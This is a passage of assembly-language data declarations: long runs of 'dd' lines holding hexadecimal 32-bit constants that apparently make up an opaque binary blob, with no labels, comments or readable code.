dd 0C0884924h, 0E1B88C21h, 0EF4D1069h, 0E3570167h, 0EEFD0EEAh
dd 790898DAh, 0F72B21h, 22092167h, 83FFA066h, 30A8FB57h
dd 0E0CA09AAh, 4239C07Bh, 9CAC6139h, 72715E71h, 0B71C7800h
dd 80356F0Dh, 0B9470091h, 76963C69h, 200E5BAAh, 95365763h
dd 63B39B4h, 2921F7C6h, 0C4BD4828h, 33B98D80h, 2DEEEED9h
dd 9111F300h, 9F2E3FA9h, 0A1CF3B68h, 0A61423CCh, 5103D057h
dd 2BFA92DDh, 371E6022h, 0E051F7BEh, 3A88E012h, 0FC8A7D00h
dd 0E6C4A0BAh, 0AEECE99Eh, 37400B67h, 2442AAB4h, 4805948Eh
dd 78841AF6h, 42F8FC81h, 990434FEh, 0B66A1100h, 2EFB1280h
dd 3045B078h, 0BE41962Fh, 0D2796839h, 0C136E60Fh, 0A2108017h
dd 90A53034h, 0A7040580h, 406A8223h, 606607A8h, 0AA500508h
dd 0BD303BE4h, 570AC12Eh, 0A1F03BA9h, 92761CC8h, 21F56320h
dd 91D86FE8h, 63A1542h, 7A60800Dh, 0E9AA6A4Fh, 5092A6h
dd 0B015A73Dh, 9726CBCEh, 9DDD2701h, 0D15482ECh, 60B79092h
dd 5667F01Ch, 0D42E310h, 2C8073C8h, 0F0D767F8h, 26A600A2h
dd 80CB11E7h, 0C8928FCFh, 4247EE0h, 2CA8DC4Ah, 0F8237D24h
dd 42E1109h, 64801338h, 48C6A765h, 187F70F9h, 401FDBAFh
dd 7C2523E5h, 86A0827Eh, 596484A1h, 0C3155180h, 0C43C01FEh
dd 0BE370DA0h, 66885022h, 900F36F4h, 0A521877Fh, 0CC410241h
dd 6B8256CDh, 1F75F8h
dd 460B59BEh, 0C00E69AFh, 144180F3h, 0BE233176h, 426202A1h
dd 1B7DB40Fh, 0C97578FAh, 1A08722h, 0AFF01206h, 0D4470D40h
dd 0F8738FDAh, 0C8F12F32h, 800CC044h, 60E8A432h, 753E30AAh
dd 104C38C6h, 0B5861830h, 1715B51h, 887E72ECh, 0F4EDF469h
dd 0A12515Eh, 0FC0484B4h, 7C82703Eh, 806C8F42h, 9D7D868h
dd 0AF870BAAh, 3003EB71h, 0CFAA6195h, 18F66041h, 0B0681333h
dd 2F520980h, 10976011h, 683BB8h, 2DFC6221h, 26E3379Fh
dd 4E21712h, 0C0385048h, 0A045A95Ah, 0EF227546h, 8072EB3Dh
dd 80DA8903h, 25E3BE7h, 0E12940F7h, 8800A57Ah, 1367E16h
dd 89D3935Ch, 0FCEE339Fh, 0CD00CB12h, 6D6968DDh, 982808EFh
dd 1E7F7602h, 0F07FEC0h, 34D31832h, 65A44058h, 0B3836FB9h
dd 985911C0h, 72916330h, 667007E3h, 4993C3DFh, 5AD4EC80h
dd 33022595h, 169B2EFh, 867840DBh, 0FE41C0B6h, 1DAF9DF7h
dd 91E66C00h, 24530C01h, 0E1B10299h, 80292207h, 0D407A4A9h
dd 210C76Dh, 7C487484h, 90264C29h, 0FD06009Ch, 26684520h
dd 0DE307E6Dh, 0BBA33200h, 17F02837h, 26CD1615h, 0EB1440BCh
dd 0EC3F72C7h, 0AF67CC03h, 97EAAAE7h, 4283D43h, 887C1ED0h
dd 71D08061h, 0AC2C2BE3h, 7A0924AEh, 1FC88459h, 0C1801649h
dd 85B1CF6Ah, 8C02797Bh, 7EFA4334h, 3DB8A16Ch, 4C64C9F0h
dd 0F290966h, 8826E21h, 4602F75Bh, 0B950C9BFh, 6708EE18h
dd 0C4F2E370h, 0F62E4075h, 0B0A7467h, 0D44C7B76h, 5624AF01h
dd 3EEC29BDh, 0A7C60041h, 5526DFFBh, 61DD0092h, 96637243h
dd 5B1212AEh, 4959A86h, 0B3EBE441h, 0A6E5E469h, 0E1425824h
dd 4074B050h, 7E560134h, 0D17FD647h, 531C2008h, 59F41150h
dd 49217D30h, 6E94FA5h, 58AA2D3Ah, 3D16C1E3h, 282141F7h
dd 44F4EE07h, 0B45201C0h, 25D363D9h, 0ED586035h, 9C4C010Bh
dd 0B0F40A13h, 0D340A900h, 0B1C45EECh, 39681114h, 0A2249644h
dd 0E6FEF845h, 0AB88C2h, 0A49227C2h, 0B0637100h, 5A781167h
dd 0D6A11709h, 24B20070h, 0A48B7ED0h, 55A66804h, 8063B8h
dd 0F7A022Eh, 39A327B9h, 0FE1434A2h, 76715440h, 0CC20FA4Ah
dd 265FEAD6h, 98D0373Fh, 2580192Eh, 0A0882754h, 3B36ED01h
dd 0E083F6A6h, 6E84E428h, 578B486h, 123EB005h, 0D882B520h
dd 0B9DCC926h, 0B7E82180h, 23C00B3Eh, 0B16759C0h, 587998h
dd 0C275F502h, 166E7D8Eh, 12E4FF3Ah, 2E0752FAh, 0A81A349Fh
dd 25BE3686h, 0E9370041h, 0FC7FD17Dh, 1200E507h, 6CB24F79h
dd 0CCFD277Ch, 73A82DF0h, 3EB5048Ch, 629D2011h, 0BCDB20ACh
dd 0C30EDC3Eh, 0E1EE9CD3h, 0AEE261AAh, 0A03960DCh, 34E784h
dd 719D2D26h, 1722B17h, 2012CF2h, 4C139B65h, 8082A06Ch
dd 0CEFC63E7h, 2C9FE880h, 18DFAF8Ch, 61DF1C54h, 377CA118h
dd 0A8D00014h, 0DDD564E8h, 0BEF96614h, 0B2898098h, 12613ECh
dd 0A9AFE06Fh, 0CA90DB1Eh, 0BC037C50h, 7C1FF95Bh, 38B4AC5Ch
dd 0E4D4A540h, 7F2860B1h, 88E901DDh, 0B4A00AA7h, 0C072BFh
dd 0AAE8E393h, 1C9F451h, 902F8DB6h, 0E0C8FCE7h, 2D1DA5FAh
dd 0A8DA2A82h, 68C160E0h, 3260D58h, 0E069B787h, 0A003B57h
dd 763D8259h, 934A14h, 8F6C715Ah, 0F851C303h, 0E024A09Ah
dd 0AB804C65h, 40CDF307h, 0FA5B01C5h, 0F455FF89h, 26F0874Ch
dd 0FC0B5ACh, 94F6702h, 0E1D0860Ch, 0F342906Fh, 1AA811B8h
dd 78420D0h, 48516149h, 7022C2D0h, 0FAE43026h, 0E06920A0h
dd 0F4C45Dh, 8DCB543Ch, 974815h, 0C1EE125Ch, 0CE3E428Bh
dd 5A2E20F0h, 3D1DE0CCh, 0E0215E03h, 5535C0E4h, 1A8A0797h
dd 406092DCh, 761E7A7h, 6AC64A00h, 722AF937h, 0E5550003h
dd 0C33C0960h, 0ED00078Eh, 40198FCDh, 576E8B9Ah, 0BD0738ECh
dd 8E9B401Ch, 0C0A81894h, 589D08C7h, 3DB04A86h, 8D924D2Ah
dd 6950013Dh, 0E7CE561Ch, 8FBAA5B8h, 1E4A1D3Ah, 0ED003A6Ch
dd 0E04B0391h, 0DA6E306Bh, 6DBDF6D1h, 9A6AF9F0h, 4A32C39h
dd 6A3341E2h, 0E35FC0C0h, 0A44E84h, 0B3E0D0D4h, 0FF0A692Ch
dd 0D8448E1Bh, 0E061BA09h, 186D79A4h, 184BE02Bh, 8BF0B0C0h
dd 0F808D450h, 0A50788B0h, 2493BC7Ch, 5CA43E71h, 0F7FA2C40h
dd 0F444F7A7h, 84DB0C61h, 733716EAh, 0A0D130FFh, 59A42F7Ch
dd 79D01920h, 89E8E4BAh, 0C2F541C4h, 31AA9C93h, 3F19DF40h
dd 0E328902Dh, 8FDC085h, 0E4777258h, 7DF23B8Ah, 0EADF91Dh
dd 834AEB0h, 6E3C44BAh, 0E97CB4h, 673BD026h, 0E0282802h
dd 67A9E365h, 0F2F9DC98h, 817D2321h, 2EE4E424h, 819CCC83h
dd 1E3F3EA7h, 63EAD02Eh, 0AA2A0CA0h, 53439F1h, 455C7420h
dd 0A97E1481h, 0ACFE1A82h, 0C8B5429h, 26087C0Fh, 58149F8Ah
dd 0B169ED07h, 0E86474FEh, 0F3E8855h, 0B4AC2015h, 0E5BC418Ch
dd 0B8081485h, 0E8A34BC9h, 2A652A25h, 0A4840419h, 5BF2F836h
dd 0CD604C2Dh, 48986959h, 0F213D044h, 2014306Ch, 0FC5463C0h
dd 228C6452h, 45E48DB2h, 0E3768146h, 647C321Bh, 90265398h
dd 6271E42h, 26EDF806h, 8719C061h, 884C326Ah, 0C3E0DF69h
dd 0FB1C02F9h, 0FABA590Ah, 424E94D7h, 8960F87Ch, 84E8BAE0h
dd 704A820Ch, 9928E680h, 380C7153h, 0F8C50C0h, 4C96A2Ch
dd 0B8FD1955h, 0E08A09D4h, 10F4293Fh, 4C138203h, 2B712054h
dd 6092CA28h, 48B0343Ah, 0A1A5C828h, 99BC4680h, 0E4270C8Ch
dd 0A9CC8244h, 0F10C6746h, 28830A47h, 8CA43454h, 148A25A8h
dd 99EC6880h, 0C764C20Ch, 9CADB8F0h, 0A21EC551h, 385A1AA5h
dd 0A990A0AFh, 0B5AEA6B0h, 1492AAE4h, 58D84253h, 0E4BE8674h
dd 8850AF61h, 1FF8848Dh, 297E1939h, 4D6B51FAh, 2D81BEA8h
dd 5CA02586h, 0E0D5D835h, 0A901586Ch, 2C33674Ch, 444652FCh
dd 845F11BBh, 0BCEC40BEh, 6F104660h, 1F8F9E06h, 4DA5DFDDh
dd 41187364h, 1217F78h, 0CC48AC1Eh, 0DBE82C43h, 0C2F7808Ch
dd 7B136EDCh, 0F1F370C7h, 672088C8h, 0DB449C20h, 83CA65Bh
dd 0D43AF90Ch, 3CE828F2h, 4D7ECDE0h, 0D82A8F71h, 6B083C8Eh
dd 0F1ADFC36h, 0E1985258h, 86806C56h, 70BE3CB3h, 120A7E4Fh
dd 450D1A7Dh, 40A742A4h, 2DC596C8h, 6B04D6E0h, 0E90A2968h
dd 0F200FCE2h, 7CD8605h, 9A7E364Fh, 80C80B3Ch, 0F11137EAh
dd 4CB926AFh, 4133027h, 0E65404A7h, 62035CA6h, 0C844726Fh
dd 5BB481B5h, 0E13C46ADh, 0FA00A97Ch, 0D474330Ch, 0E9A34DBh
dd 6CBE480Ah, 771565A0h, 0AA07E1B5h, 0A9EF27E3h, 1339B3F0h
dd 28080703h, 401CFF47h, 0C4F38D12h, 0EC11ED0Fh, 1D94ED5h
dd 9F5223AFh, 0A93AA0EFh, 0A62D0B35h, 304B207Dh, 220EF3F0h
dd 800C6738h, 29E14028h, 78E5BBh, 502505BEh, 0DD682662h
dd 7EE119C6h, 9ED000B9h, 52F3C8E6h, 4498928Dh, 0DE50EC07h
dd 3E903C66h, 24A88Fh, 71B0B4FBh, 339DCFEBh, 7CFA80A0h
dd 0D4941C51h, 773A8F08h, 0B94E00EAh, 4FF2F5Eh, 568A1EE9h
dd 3E864701h, 5382C0F3h, 49F0E630h, 0BE00C3E0h, 0C2B8C8A1h
dd 14B90643h, 140748BDh, 41C157A3h, 0F33080BCh, 0BA324287h
dd 805570C2h, 0E7790146h, 0A563Eh, 0A7BB0384h, 60333D86h
dd 0E50690E9h, 18DD04B6h, 0EF0A4900h, 3A363F88h, 806C90E9h
dd 0B3E80B28h, 0F30EEA1Dh, 0E8355403h, 42780CB6h, 45313AC3h
dd 59EA3037h, 0B5F1BC83h, 0E3B20C21h, 0E6108457h, 0E5684h
dd 3542BDEEh, 0C4586B8h, 0A1B9E718h, 764B229h, 0E98A1030h
dd 5F9F8158h, 1F498F8Bh
dd 0ACDEFA5h, 78001841h, 9E479861h, 879F00E1h, 14204DE7h
dd 7A39F536h, 991A000Eh, 8BE58832h, 6EB7135Eh, 0E74307D8h
dd 0E391C058h, 6A1DDF4Dh, 0A2469E3Ah, 1718366h, 4914FF9Fh
dd 6CA48Eh, 0E8FA2132h, 91351862h, 0DE202863h, 0E8A17202h
dd 3B659DAh, 0A128D108h, 0B9451832h, 0C84F9ECCh, 8475F68h
dd 19F731FCh, 1833438Dh, 0D9598FDDh, 92101124h, 0E5C91EE4h
dd 104402Ah, 0B411DAD4h, 0C1F2AF04h, 8CB8A4F4h, 817AC959h
dd 31A8A48Bh, 8311E65h, 1D598186h, 0A1F4BD70h, 60443F30h
dd 2D2620B3h, 5D2828B1h, 3521D0B7h, 0DF629088h, 7381E191h
dd 8CBF2869h, 0B96F0731h, 687E30B3h, 0C9ECE369h, 4160710Ah
dd 5E18A4B2h, 2839EA41h, 6EDCA454h, 0E0E3F1BAh, 317BD6F4h
dd 185C4F31h, 4C4131E4h, 584030A6h, 60A387E3h, 6177919Eh
dd 18905908h, 23B983FFh, 1D3189DDh, 0B22B8B31h, 4CA26318h
dd 58887833h, 91EE98E8h, 2024D8A0h, 301528FEh, 21E605D4h
dd 0A421DE70h, 0DD0AB4B0h, 8DB74A4h, 9B2530B8h, 0C7086951h
dd 0EBB23042h, 0ECB4891Bh, 8928DC0Ch, 7F42281Bh, 218444B8h
dd 0C4F82F57h, 421085B7h, 0FC904F8Fh, 88CB428Ch, 6A274448h
dd 0A29E6C10h, 4FDF117Eh, 0FC048278h, 9AD39E7h, 8289FCAh
dd 5651FFB8h, 428DAF08h, 7890CAE0h, 5C99B608h, 6C443A13h
dd 2152845Fh, 833CD98Ch, 7C52E631h, 0B21065Ch, 619DBE0Ah
dd 84A18C90h, 0AB20D666h, 34921CE8h, 20583196h, 0DE2BF80Ch
dd 37BC694Dh, 5C106127h, 54F1D9D3h, 26DA08B3h, 0C28CA150h
dd 0D0669CA3h, 38627E14h, 50722874h, 8DBC654Ch, 9BF009F8h
dd 0A38E18A2h, 0AFFB11A0h, 0A0F50429h, 98EC293Ah, 0F0263492h
dd 76900141h, 0A1094567h, 200300E5h, 3FB907BDh, 204FEA0Ah
dd 58B3E434h, 0F4E7993Eh, 0B7400400h, 83D530FFh, 0A1EE0E9Bh
dd 7E003E90h, 0B83348B6h, 1454F07h, 3730B3BDh, 7C4688E5h
dd 0D83DE899h, 0C3401128h, 0BC00457Ch, 0BF073C84h, 736484Fh
dd 50183B8h, 0C25487D5h, 38E1B3E7h, 34F1E0ECh, 438AEE02h
dd 0C67A4104h, 7D048DD4h, 0ED140E60h, 5B49084h, 314779F3h
dd 65182CB9h, 5B84249h, 0A6203A01h, 0E64084C7h, 0F4870EC1h
dd 0D06C9433h, 0D49A5A02h, 51CCE10Bh, 0FE288EECh, 20A04D01h
dd 2631E570h, 2A0BFCh, 63277B03h, 325EBC38h, 61C7B22Eh
dd 0BD2803Ch, 6ABBB62Fh, 60B894C3h, 86D87A3h, 0B3EBE003h
dd 7D5E5C71h, 0A0A41818h, 0AA6F70F2h, 4080D8B8h, 0E630B93Ch
dd 0B385D9AFh, 1808DE0Dh, 0CFA3F90Bh, 3567C0C2h, 0D07CA002h
dd 11BF71E6h, 0B031FF17h, 60B53069h, 21DC10FAh, 78B03167h
dd 499A68C1h, 2A0196A9h, 1D6101D3h, 819EF898h, 0C018286Eh
dd 3940E92Ch, 5BF800BCh, 0DD4DB8B7h, 0F365E021h, 0C4C87B78h
dd 79102B57h, 2C7A828Ch, 603CEFE8h, 149F80CAh, 0BA16AC20h
dd 5C40075Eh, 1D600A2Fh, 0E11C095Ah, 0C202D65h, 0C58D77DEh
dd 0B9116D02h, 5A5195A0h, 5AE3282Ch, 0B0325048h, 28304916h
dd 64159E89h, 0F592EE6h, 0E82B5260h, 0AE9DF380h, 0B503F77Ch
dd 0E5512127h, 1B69002h, 0C2EC240Bh, 7CBC1C56h, 1678B370h
dd 0C4501253h, 0C054C778h, 0E6A29A99h, 0C33841E6h, 5C0A7055h
dd 447AEDA0h, 0D05AD161h, 2B9174F8h, 7046146h, 0C5547238h
dd 10C3475h, 5688D308h, 0A65D0801h, 64A22C30h, 0C05CB78h
dd 0AF8863B6h, 0A08A1029h, 1EE424D2h, 0AE0E30B0h, 34F047D0h
dd 4C0F211Ah, 0A3301552h, 96213A02h, 999C8843h, 0D24C8108h
dd 0E1083332h, 7051A15Fh, 10937B1Eh, 829C6F8Eh, 0B04B1EDFh
dd 0F14F99C4h, 50008C4Dh, 68E266A2h, 19182826h, 12B309B4h
dd 48B524B6h, 22B791B8h, 9CA9449Ah, 9E129B89h, 0A0489D24h
dd 0A2229F91h, 89A4D144h, 0E0A613A3h, 3119786h, 0E793C7D5h
dd 0C1199AD2h, 63B8265Dh, 0B729844Bh, 0AE8A7504h, 761408BAh
dd 7F0300BCh, 5C4EB22Ah, 0BAE21F30h, 0E451005Fh, 0CBFBCE5Dh
dd 0A1415E00h, 0B4B87F08h, 0B05C3A3Eh, 0A83C663Ah, 40646E3Ch
dd 0C2250436h, 5DE5F100h, 0EB01FBD7h, 0BAB4BE5Eh, 48294AEDh
dd 40FFDAFh, 2325ABFEh, 0B63F14C6h, 0CB13829Fh, 22271971h
dd 38955D63h, 4384E860h, 0ADCE4429h, 0D346910Ch, 8AB309ACh
dd 5F041808h, 803E77D5h, 5564D007h, 73E24328h, 0B9383057h
dd 301ABB21h, 765838A5h, 0AA9F0061h, 0D75F77EFh, 3630A15Bh
dd 7B871859h, 5EEFAA6h, 6EA5B45Dh, 0DE1C0058h, 2B0592F0h
dd 7E20770Ah, 574E2823h, 92C1E4A9h, 8C9C26F5h, 312A6641h
dd 35F0000Bh, 52DCE56Fh, 8C00A45Ah, 10418BC0h, 8213Bh
dd 0BDA39F36h, 0D50BE3A1h, 20E7E131h, 0C980BA2Fh, 0CC641601h
dd 7A06A9B8h, 5965D7C8h, 0B65E0030h, 48D3B19Ch, 85003BF5h
dd 81D02F13h, 764381Eh, 93C4BCC2h, 843410A1h, 3500D7DAh
dd 0DBE6FAB6h, 30DCE23Bh, 2170DFCDh, 0AE001DA6h, 9672F43Fh
dd 0E4E83h, 286DB024h, 58ECB829h, 0DB2CA100h, 0A8C2B12Eh
dd 0EE20392h, 9E7CD9F6h, 5AB0200Ch, 86E19ACh, 0E7FE90E0h
dd 0E2AB20Fh, 0D9D38232h, 0D421FFB1h, 0D493FC28h, 0C6C0B0B7h
dd 8E4013B8h, 537F81h, 0B4F876BBh, 2E1E2B8Dh, 360027F0h
dd 1786B674h, 98A787h, 85539335h, 51566A2Ah, 0B0830A00h
dd 5F902F96h, 8C08004Dh, 7A1EB784h, 9FA135A4h, 8F63D0B0h
dd 6A24A607h, 804FC32Eh, 3233A354h, 6B40C07Ch, 3E515D79h
dd 29AA6F3Ah, 2403403Ch, 0DC7C37h, 84E1E710h, 33B0922Fh
dd 29304CF1h, 4AA86905h, 1C309338h, 4059A356h, 6E07B735h
dd 3733A77Dh, 6032A545h, 2A8C8FE1h, 4DC04E2h, 0A493374Bh
dd 50B58759h, 567F3999h, 320018AEh, 3C98B090h, 2724979h
dd 1D56B426h, 2CB02E38h, 47E3365Bh, 0D0F840C4h, 4E0A7CE1h
dd 384AB5B4h, 6247B760h, 157C01E7h, 0A265A92h, 47144A7Bh
dd 0B62E0040h, 0C262FC7Bh, 7460F84Bh, 7D4D14A4h, 7502F853h
dd 0BA24F056h, 4689495h, 4B97F0F5h, 84BD5900h, 2A917017h
dd 0F12E0046h, 4C794D37h, 93266533h, 620434A8h, 0D735ADh
dd 0F0803847h, 7AD32937h, 989256h, 9FA53DEFh, 538A4E73h
dd 40634D26h, 2870331Dh, 1379F4B8h, 256236B5h, 7B6C0F20h
dd 32DC9023h, 3D500864h, 3296748Ch, 2991FC75h, 485B446h
dd 86BA627Fh, 5A743040h, 63C93405h, 90922431h, 24404CD7h
dd 0E5837E7h, 8FA32501h, 0B4CB515Fh, 313E89C1h, 0D2F420D0h
dd 0A314EF0h, 83394092h, 1C9C030h, 6699D97Ah, 0B0274CCEh
dd 93641008h, 0F36D24FBh, 3B2000B0h, 3734568Fh, 275D871Dh
dd 0D809B51Eh, 59A0013Ah, 108C7A32h, 34607666h, 6AC8F48h
dd 4D5DCE65h, 35011888h, 6BD84031h, 1B607D3Ah, 0EF3091F3h
dd 344ADC81h, 90C92700h, 0A1C76078h, 31C03821h, 0B753C36h
dd 0B43E2553h, 41F181Ah, 40F82955h, 3B51317Dh, 0D4B9CE78h
dd 497CFB81h, 6066C924h, 5BCA0076h, 0CE364EA3h, 37492156h
dd 1870D2B8h, 908A6132h, 1C3B4CF0h, 7A3ACC58h, 93394C00h
dd 7808D7A7h, 7DF89AF8h, 7C205D2Ch, 37291E3Ch, 0AC4E21Dh
dd 0C08FE774h, 0EBF895AFh, 824B605h, 16C4817Ch, 3B21F074h
dd 0C4E49359h, 0CD8A6CEh, 0FC98B060h, 3AAD7C7Eh, 0D8489366h
dd 0C6288C37h, 0C49A2079h, 3108354Ch, 275609A4h, 0E44AC461h
dd 3869DC4Ch, 0C8A8C0A0h, 20B86521h, 833C5213h, 6936100Ch
dd 3A7D7C66h, 562E3D28h
dd 384B4220h, 3C902C96h, 79C9EFF9h, 34D8A45Dh, 402EF21Fh
dd 7E09D802h, 0E63CE3A8h, 80FB62B0h, 18922F96h, 8AA55040h
dd 46A0B752h, 63FCEF04h, 4E99B50Bh, 484645Dh, 0ADA6648Ah
dd 7C3C39B7h, 0AAF11842h, 5DC86027h, 9364310Bh, 0D85047A7h
dd 9605B05Ah, 245D8332h, 87A7D880h, 564B838h, 0E2933D4Dh
dd 0CC405625h, 50A084F8h, 9101E7C9h, 5673CA80h, 20703C36h
dd 8F310134h, 93C924A5h, 2443C49h, 7D3233A6h, 0E978E4A7h
dd 0E1C1D468h, 0E47A2F83h, 8F036359h, 7B3B2753h, 5C65C1B0h
dd 2E328C70h, 0E70A387h, 1BCE84CEh, 9C94908Fh, 65065058h
dd 204CDC76h, 66EFB01Fh, 8426A4CFh, 50F45A8Fh, 0C1C89625h
dd 857E12B8h, 87691868h, 803AE0C7h, 0BB343714h, 0EC856E25h
dd 4250F766h, 5F92F834h, 1190285Ah, 23A78714h, 7A0100F0h
dd 85E46F1Ah, 5A900138h, 0D9A5C936h, 26218021h, 25537A61h
dd 0DC830408h, 0E1CE3B4Bh, 0E0D9D230h, 8E7299Eh, 106A3880h
dd 3979F5Fh, 18345387h, 89FAE87Ch, 60C728D7h, 42900F42h
dd 52DC011Ch, 0A0683220h, 5DA62F01h, 0D08A0A36h, 744E3C4Dh
dd 0E071B817h, 0C441852Eh, 18A2E469h, 0CE1F278Ch, 0DC8CF830h
dd 39354A3Eh, 88C5FC91h, 0DC143836h, 3169068Ch, 7840654Ah
dd 0A6403C4Ch, 5920813h, 5ECA04h, 0B07A0A80h, 9B67D08Bh
dd 0F08A3B20h, 3360CE98h, 33A15F7Dh, 280DB4DCh, 18AFCE3Eh
dd 7932C811h, 5814D844h, 0C4ABC4DCh, 308260B5h, 0CA8C4C90h
dd 0A402D4D1h, 41923927h, 0F44D0A44h, 0D2936429h, 204283F0h
dd 9A0E3070h, 0EFDC5CCAh, 4BA48065h, 50A35BC9h, 6BA7F026h
dd 18978824h, 47FE0F7h, 0C1392E31h, 80CD9Fh, 7C068BB3h
dd 0EED925Bh, 0F06A93C4h, 1421309Ch, 0BFEC0663h, 0F6ED5400h
dd 4F1FADDCh, 20330052h, 0DBACD175h, 0CDFC1AB8h, 7C0269C1h
dd 1CCC8EE9h, 44AA1FF5h, 0C77AFA84h, 6F92C321h, 0BFCE0F20h
dd 0F97B7C10h, 0C2FEAF00h, 0B8DE6E51h, 728A418h, 7C58E852h
dd 0F264B82Ch, 0E9888540h, 0EF0C7DE3h, 19FF0F83h, 153D0093h
dd 8931ADB4h, 50065B4Fh, 0C4176BA8h, 35E107B8h, 101829D2h
dd 0B8CFB1FCh, 919F5F0Ch, 280C8896h, 384D65Ch, 1BC35641h
dd 7898D470h, 9B3979BEh, 629E01CFh, 0D7AE46A9h, 5E2E2180h
dd 9591A8Fh, 6D0820A7h, 294DC07Ah, 0C328595Eh, 0D800D82Ah
dd 40ACE942h, 66CDCA15h, 21D20939h, 0E91A7800h, 8C06C72Bh
dd 30A70F44h, 34245D6h, 0A4A0FF2Eh, 9DC439E2h, 0EAEFD01Ch
dd 4B6B2C00h, 7643551Ah, 6FCF30AEh, 0A96D61B0h, 8E5433FCh
dd 0D801348Ch, 0EAEEB65Eh, 0A853C53Fh, 37AD8849h, 0EDC204C8h
dd 104FB5DAh, 24E09E1Ch, 80202AAFh, 0E7A84B5Ch, 0CA03ACD7h
dd 61864214h, 0C608C9B1h, 41F2599Fh, 52F01C22h, 8D04D0A8h
dd 5314B14h, 3C85238Ch, 40C1E984h, 25D3626Dh, 5D820083h
dd 44AC7E07h, 18D51603h, 9BDDD465h, 9ED00411h, 8AAED212h
dd 69998804h, 87ED8C48h, 6C14F400h, 7C3E2DD4h, 401CAC42h
dd 30B9A297h, 5B781405h, 0A56AF870h, 9C22E3DEh, 5030FFF2h
dd 0F01F0669h, 0C0C55C1Bh, 51F87E1Eh, 8909C0Ah, 18280A07h
dd 0A98FA26h, 0C3CB4FEFh, 468701F8h, 20B3A7E9h, 7C122AB8h
dd 607247FCh, 0C480DD3h, 0A3498164h, 28D5E27Ch, 0F15AC198h
dd 18F00D6Bh, 992866F4h, 0B829A8EAh, 0FC080804h, 7A4712B3h
dd 3E541154h, 0A44BF287h, 0EFFA03BBh, 0F3D903D0h, 0DB14828h
dd 90F67028h, 0D246FA1Ah, 0CEB98621h, 0F3FB0159h, 0F505329Bh
dd 905020A8h, 0E37FA71Ah, 0DC0482A0h, 0AF6422CFh, 0C8C3B482h
dd 88EC7B20h, 8038DF19h, 0B8E1969Ah, 0A0303350h, 4948988Dh
dd 0B03949FFh, 202804E2h, 7C4CD271h, 9B2E742Fh, 65F00F8h
dd 0F0725B80h, 68054486h, 2B0D5700h, 889B8236h, 0AC112850h
dd 0E1913CB0h, 78AAB218h, 0A900CF13h, 0DE924306h, 600A3BBDh
dd 0AB2B08DFh, 0D200FF12h, 609820DBh, 1F2C6E59h, 0DD1424h
dd 0B36BAB92h, 0D800F8AAh, 9C1DD53Dh, 39D1817h, 0CD93D9B1h
dd 48A60409h, 686D5F03h, 887FB6B2h, 0E54F7EDEh, 218029D1h
dd 696865FDh, 5F004CB3h, 9B963332h, 1897714Dh, 5827C825h
dd 7401B08Ah, 0ECBA3AE2h, 8987EB31h, 907C0166h, 6EF75B7Dh
dd 8A8E1300h, 9E3DD990h, 6D4311Dh, 88495940h, 0F332450h
dd 750F6F05h, 6B103A6Ch, 39D6BB30h, 2AADAB71h, 1840F57h
dd 0E520C432h, 4CBF3692h, 5B882E94h, 322000C3h, 50F814C5h
dd 0F00CA7C6h, 0AC611A7Bh, 4C3B00B5h, 222A75EBh, 5DEED679h
dd 9001FB7Bh, 2598ECDCh, 0E9892F80h, 0CE01593Eh, 87A6FBEDh
dd 67C79260h, 41C13FB0h, 24E801B0h, 32F9990Eh, 0B28450F1h
dd 513C9543h, 397F8716h, 61A19641h, 0C830CAD8h, 62B600BFh
dd 0C5457AC1h, 3803D9A9h, 4F5FAA15h, 8D880139h, 335C25ABh
dd 56108C42h, 1E30E111h, 803B97C5h, 7174A567h, 0DA1523A4h
dd 80F4DB93h, 0B778686Bh, 227E434Fh, 63BF012Ah, 9226F85Fh
dd 817F311Dh, 957DDAF0h, 9080C9DDh, 0E38CD4E8h, 0CF01CAB2h
dd 0A2E176A3h, 0CC417F66h, 38E16D94h, 0F2ABE850h, 1CF4A589h
dd 33660578h, 0F28C40DEh, 6AD5D0E2h, 9F2FD406h, 6F08FC93h
dd 0EA2021E9h, 0C466E4D0h, 19A06A07h, 0E1CD9163h, 686230CAh
dd 57B6A911h, 0C2802888h, 0EAB25F5Ah, 0C32C00DAh, 581C4CA9h
dd 7360B6BBh, 0C42592A8h, 9D173EFFh, 725630FCh, 6C275718h
dd 0BC2F3B28h, 96F2D704h, 50836728h, 9300DC81h, 80661665h
dd 0D51584AEh, 6D415B8h, 36C01E39h, 0BB573B18h, 3D01B8D8h
dd 0D93E1C2h, 0EEDC49C9h, 0A7C46831h, 7F6721B6h, 0C4002691h
dd 34956860h, 99096AA0h, 27A5FBD5h, 0CDA0AC4Ch, 1E71A3ECh
dd 406C18FDh, 0E153B18Dh, 826176BAh, 0EF3374E0h, 427B850h
dd 943A00EDh, 96DC2DAFh, 6A0F6EC2h, 0E173134Bh, 5D1E3FC3h
dd 124C34FCh, 4E4A9B7h, 1D188C18h, 30F37B89h, 275FDA0h
dd 96172D10h, 2440E7E5h, 3D02EEB3h, 56B060EDh, 9490A01Ah
dd 98A503h, 26EBE27Dh, 52969EA2h, 2E48F909h, 1D00E19h
dd 4C9C01Dh, 0F2282433h, 776C0078h, 0A6BCF7C7h, 24023BD3h
dd 0AFFE1CF6h, 0F2B89854h, 0FD31C19Bh, 0EC52D3D6h, 271E9AEFh
dd 1D008939h, 936B950Bh, 0AB57125Ah, 0E80458E2h, 0B805F1Ch
dd 9CC0A82Fh, 0EF720136h, 438C0CE6h, 32F6FC91h, 0EF83B00h
dd 514EB6E5h, 5DF8CAB9h, 0C2FC648Ch, 0D630AF64h, 92E30820h
dd 5558BDC6h, 292000CDh, 0D79B221Ah, 0C50EA579h, 3B29EE7h
dd 0D411248Eh, 0EFC8B08Bh, 0B74498C0h, 0DD81314Eh, 214CA4A8h
dd 18A8A684h, 7480BC11h, 7B6B368h, 0C027448Ch, 8C686C00h
dd 2DCAD413h, 0A59613B3h, 1868259Bh, 0DA445820h, 0A412B026h
dd 8B079F11h, 0B07440A4h, 2A0F1C8Fh, 8EE81BFAh, 0ABDD21C1h
dd 0F17EA740h, 8CA1F6D0h, 0F8B8AEE3h, 0B6E80331h, 0EF59961Bh
dd 0C764F870h, 644C8226h, 0B6D4CC0Ch, 0C04116h, 629B0B2Ch
dd 0E38E11B3h, 0DCB01F28h, 30C97990h, 243830C4h, 0ABDD4027h
dd 0E6A2EB09h, 3C749494h, 7D2AB8B2h, 4CA02FCh, 0B0AB786Fh
dd 20C1F8B0h, 0CE92EA10h, 20D9C8E0h, 0AEAA1C01h, 76EB7DF6h
dd 0F948CA40h, 160F304Eh, 0ACDA7ED8h, 2A478603h, 41275C12h
